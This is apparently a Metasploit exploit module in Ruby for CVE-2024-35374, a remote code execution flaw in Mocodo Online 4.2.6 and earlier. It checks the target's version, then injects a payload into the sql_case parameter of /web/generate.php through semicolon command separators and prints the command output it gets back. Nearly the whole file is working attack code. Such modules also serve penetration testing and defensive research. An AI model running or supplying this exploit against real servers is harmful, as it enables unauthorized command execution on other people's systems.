## # Exploit Title: Remote Code Execution Vulnerablity in Mocodo Online # CVE: CVE-2024-35374 # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Mocodo Mocodo Online Improper Sanitization Remote Code Execution', 'Description' => %q{ Mocodo Mocodo Online 4.2.6 and below does not properly sanitize the sql_case input field in /web/generate.php, allowing remote attackers to execute arbitrary commands. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chocapikk', # Orginal Author 'IS 565 Group' # MSF Module ], 'References' => [ [ 'CVE', '2024-35374'], [ 'URL', 'https://chocapikk.com/posts/2024/mocodo-vulnerabilities/' ] ], 'Platform' => ['linux','unix'], 'Targets' => [ ['Default payload', { 'Platform' => ['linux','unix'], 'ARCH' => '', 'DefaultOptions' => {'PAYLOAD' => 'generic/custom'} } ], ], 'Privileged' => false, 'DisclosureDate' => 'May 9, 2024', 'DefaultTarget' => 0, ) ) register_options([ Opt::RPORT(80), OptString.new('TARGET_URI', [true, 'Base path', '/']) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php') ) return CheckCode::Unknown('No response from the web service') if res.nil? return CheckCode::Safe("Check TARGET_URI - unexpected HTTP response code: #{res.code}") if res.code != 200 unless (match = res.body.match(/Mocodo (?[\d.]+)/)) return CheckCode::Unknown('Target does not appear to be running Mocodo.') end if Rex::Version.new(match[:version]) <= Rex::Version.new('4.2.6') return CheckCode::Appears("Version detected: #{match[:version]}") end CheckCode::Safe("Version detected: #{match[:version]}") rescue ::Rex::ConnectionError CheckCode::Unknown('Could not connect to the web service') end def exploit res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/web/generate.php'), 'data' => "state=dirty&text=RCE:+rce&conversions[]=_ddl.sql&sql_case=;#{payload.encoded};" ) if res && res.code == 200 print_good("Payload Sent!") match_data = res.body.match(/{"err":"(.*?)sh:\s+:labels: not found"}/) # Extract and print the output dynamic_value = match_data[1] if match_data print_good(dynamic_value.gsub('\\n', "\n")) end end end